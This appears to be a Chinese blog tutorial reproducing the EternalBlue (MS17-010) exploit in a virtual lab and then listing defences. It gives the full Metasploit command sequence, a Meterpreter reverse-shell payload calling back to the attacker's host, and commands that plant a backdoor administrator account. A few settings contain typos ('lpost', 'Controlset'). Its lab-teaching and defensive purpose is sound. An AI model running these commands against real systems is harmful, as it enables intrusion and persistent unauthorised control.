EternalBlue【永恒之蓝】漏洞详解(复现、演示、远程、后门、入侵、防御)内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏!

本文主要是介绍EternalBlue【永恒之蓝】漏洞详解(复现、演示、远程、后门、入侵、防御)内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏!,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

漏洞背景:

1.何为永恒之蓝?
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

2.什么是SMB协议?
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

3. SMB工作原理是什么?

  • 首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。
  • 协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。
  • 当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。
  • 连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

准备工作:

虚拟机:VMware
靶机(rhost):Windows7 (IP:192.168.244.133)
攻击机(lhost):Kali (IP:192.168.244.136)
所需工具:nmap、metasploit(MSF) 【工具均在Kali系统内】

漏洞复现过程:

主机发现

关闭防火墙和杀软

靶机关闭防火墙杀软等一切防御信息 否则nmap扫描不到

防火墙关闭路径
控制面板->系统和安全->Windows 防火墙

image.png

查看攻击机与靶机IP信息

查看攻击机与靶机的IP信息
攻击机:终端模拟器->ifconfig
靶机:win->cmd->ipconfig

image.png
image.png

进行Ping通测试

进行ping通测试
Kali使用CTRL+C快捷键进行终止命令进行

image.png
image.png

和上面两张图片一样结果的都表示Ping通成功

扫描存活主机以及开放端口

使用nmap扫描工具对目标机网段进行存活主机扫描以及靶机的445端口是否开放

image.png
image.png

可以看出目标机存活并且445端口为开放状态

入侵过程

开启postgresql数据库服务

以下命令均在Kali攻击机root终端进行!

开启

service postgresql start

查看是否开启

service postgresql status
image.png

此状态表示开启成功

初始化metasploit postgresql数据库

初始化

msfdb init
image.png

此状态表示初始化成功

启动MSF框架

Kali root终端输入

msfconsole
image.png

此状态表示进入MSF框架成功

利用探测漏洞模块

db_status #查看是否进入MSF攻击服务
search ms17_010 #查找探测模块
use auxiliary/scanner/smb/smb_ms17_010 #利用探测模块
show options #查看配置参数
set rhost 192.168.244.133/32 #设置探测主机段
set threads 20 #设置探测线程
run/exploit #执行探测

image.png
image.png

探测出likely表示可能存在漏洞!

利用永恒之蓝模块

use exploit/windows/smb/ms17_010_eternalblue #利用ms17_010永恒之蓝漏洞
set rhost 192.168.244.133 #设置攻击目标IP
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷(木马信息)
set lhost 192.168.244.136 #设置监听主机IP
set lpost 445 #设置监听端口
run/exploit #执行攻击

image.png

运行成功后会出现meterpreter>
Meterpreter俗称"黑客瑞士军刀"

想要深入了解可以看以下内容

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功后的攻击载荷使用。它可以在触发漏洞后返回一个由攻击者控制的通道,以便远程执行命令。

Meterpreter的功能丰富,例如添加用户、隐藏某些内容、打开shell、获取用户密码、上传和下载远程主机的文件、运行cmd.exe、捕捉屏幕、获取远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等。此外,Meterpreter可以躲避入侵检测系统,在远程主机上隐藏自己,不改变系统硬盘中的文件,因此HIDS(基于主机的入侵检测系统)很难对它做出响应。

Meterpreter还可以简化任务创建多个会话,利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的。

Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。此外,Meterpreter还支持Ruby脚本形式的扩展。

远程查看靶机信息和捕捉屏幕

sysinfo #查看靶机系统信息
getuid #查看靶机用户身份
screenshot #对靶机当前屏幕进行截图

image.png

需要注意的是最后一部屏幕截图保存到了根目录下
根目录下受权限保护可能查看不了图片
解决方法有两种改权限或者复制到桌面上 在这里讲的是第二种方法

cp EoiLSMEC.jpeg '/home/kali/桌面/flag1.png'
image.png
image.png
image.png

进入靶机控制台

shell #进入靶机cmd终端
image.png

成功进入靶机C:\Windows\system32路径下

对靶机进行后门植入

#创建新管理员用户
net user baimao 123 /add
#将baimao用户加入到本地管理员组当中
net localgroup administrators baimao /add
#查看本地管理员组当中的用户成员
net localgroup administrators
#查看此路径下的所有文件和目录
dir

image.png

与图片中信息相同就代表后门植入成功
exit可以退回meterpreter路径下

查看靶机当前用户

whoami
image.png

创建文件夹

mkdir baimao

image.png
image.png

exit可以退出MSF框架

如何防御

开启防火墙

防火墙开启路径
控制面板->系统和安全->Windows 防火墙

image.pngimage.png
image.png

禁用靶机139和445端口

查看靶机445端口是否开启

netstat -ant
image.png

可以看到445端口是开启状态

禁用靶机445端口路径
控制面板->系统和安全->Windows 防火墙

image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png

禁用server服务

win+r 运行
输入services.msc

image.png

关闭不必要的服务

关闭服务路径
控制面板->系统和安全->Windows 防火墙

image.png
image.png

根据需要可以选择关闭与否

注册表关闭445端口

win+r 运行
输入regedit进入注册表

找到此注册表路径
根据自己系统位数进行修改64位就选择QWORD
HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters

image.png

重命名为SMBDeviceEnabled

image.png

右键->修改->数值数据的值为0(0代表关闭,1代表打开),点击确定,完成设置 。

image.png

重启之后查看445端口是否关闭!

可以看到445端口已经不见了!

安装杀毒软件

360安全卫士与火绒安全软件成功阻止了永恒之蓝!

大家想要了解的,可以参考下!
360安全卫士和火绒安全软件都是知名的电脑安全软件,具有多种防护功能。
360安全卫士是一款全面而高效的电脑安全防护软件,它拥有强大的查杀能力,可以检测和清除电脑中的病毒、木马、恶意程序等安全隐患。同时,它还提供了多种实用的功能,如实时监控、木马查杀、漏洞修复等,可以帮助用户保护电脑安全,提高使用体验。
火绒安全软件则是一款以防护为主打功能的电脑安全软件,它拥有自主知识产权的新一代反病毒引擎,能够检测和分析恶意程序,提供全面的防护功能。此外,火绒安全软件还拥有钩子扫描功能,可以快速扫描指定进程,发现潜在的安全风险。

最后总结

2017年永恒之蓝漏洞,编号为ms17_010漏洞。
现在只有一些低版本的电脑没有打ms17_010的补丁,windows7 以上版本几乎都没有这个漏洞了。
虽然如此,此漏洞非常经典,现如今仍有很大的学习漏洞原理以及深入研究防御策略都有很大的借鉴和学习研究的意义。
让大家可以对网络安全更加重视,网络安全刻不容缓,让我们为国家网络安全的建设共同努力!

这篇关于EternalBlue【永恒之蓝】漏洞详解(复现、演示、远程、后门、入侵、防御)内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏!的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/541676

相关文章

Feign Client超时时间设置不生效的解决方法

《FeignClient超时时间设置不生效的解决方法》这篇文章主要为大家详细介绍了FeignClient超时时间设置不生效的原因与解决方法,具有一定的的参考价值,希望对大家有一定的帮助... 在使用Feign Client时,可以通过两种方式来设置超时时间:1.针对整个Feign Client设置超时时间

详解nginx 中location和 proxy_pass的匹配规则

《详解nginx中location和proxy_pass的匹配规则》location是Nginx中用来匹配客户端请求URI的指令,决定如何处理特定路径的请求,它定义了请求的路由规则,后续的配置(如... 目录location 的作用语法示例:location /www.chinasem.cntestproxy

CSS will-change 属性示例详解

《CSSwill-change属性示例详解》will-change是一个CSS属性,用于告诉浏览器某个元素在未来可能会发生哪些变化,本文给大家介绍CSSwill-change属性详解,感... will-change 是一个 css 属性,用于告诉浏览器某个元素在未来可能会发生哪些变化。这可以帮助浏览器优化

Python基础文件操作方法超详细讲解(详解版)

《Python基础文件操作方法超详细讲解(详解版)》文件就是操作系统为用户或应用程序提供的一个读写硬盘的虚拟单位,文件的核心操作就是读和写,:本文主要介绍Python基础文件操作方法超详细讲解的相... 目录一、文件操作1. 文件打开与关闭1.1 打开文件1.2 关闭文件2. 访问模式及说明二、文件读写1.

Ubuntu中远程连接Mysql数据库的详细图文教程

《Ubuntu中远程连接Mysql数据库的详细图文教程》Ubuntu是一个以桌面应用为主的Linux发行版操作系统,这篇文章主要为大家详细介绍了Ubuntu中远程连接Mysql数据库的详细图文教程,有... 目录1、版本2、检查有没有mysql2.1 查询是否安装了Mysql包2.2 查看Mysql版本2.

详解C++中类的大小决定因数

《详解C++中类的大小决定因数》类的大小受多个因素影响,主要包括成员变量、对齐方式、继承关系、虚函数表等,下面就来介绍一下,具有一定的参考价值,感兴趣的可以了解一下... 目录1. 非静态数据成员示例:2. 数据对齐(Padding)示例:3. 虚函数(vtable 指针)示例:4. 继承普通继承虚继承5.

前端高级CSS用法示例详解

《前端高级CSS用法示例详解》在前端开发中,CSS(层叠样式表)不仅是用来控制网页的外观和布局,更是实现复杂交互和动态效果的关键技术之一,随着前端技术的不断发展,CSS的用法也日益丰富和高级,本文将深... 前端高级css用法在前端开发中,CSS(层叠样式表)不仅是用来控制网页的外观和布局,更是实现复杂交

Python将博客内容html导出为Markdown格式

《Python将博客内容html导出为Markdown格式》Python将博客内容html导出为Markdown格式,通过博客url地址抓取文章,分析并提取出文章标题和内容,将内容构建成html,再转... 目录一、为什么要搞?二、准备如何搞?三、说搞咱就搞!抓取文章提取内容构建html转存markdown

Linux换行符的使用方法详解

《Linux换行符的使用方法详解》本文介绍了Linux中常用的换行符LF及其在文件中的表示,展示了如何使用sed命令替换换行符,并列举了与换行符处理相关的Linux命令,通过代码讲解的非常详细,需要的... 目录简介检测文件中的换行符使用 cat -A 查看换行符使用 od -c 检查字符换行符格式转换将

Java编译生成多个.class文件的原理和作用

《Java编译生成多个.class文件的原理和作用》作为一名经验丰富的开发者,在Java项目中执行编译后,可能会发现一个.java源文件有时会产生多个.class文件,从技术实现层面详细剖析这一现象... 目录一、内部类机制与.class文件生成成员内部类(常规内部类)局部内部类(方法内部类)匿名内部类二、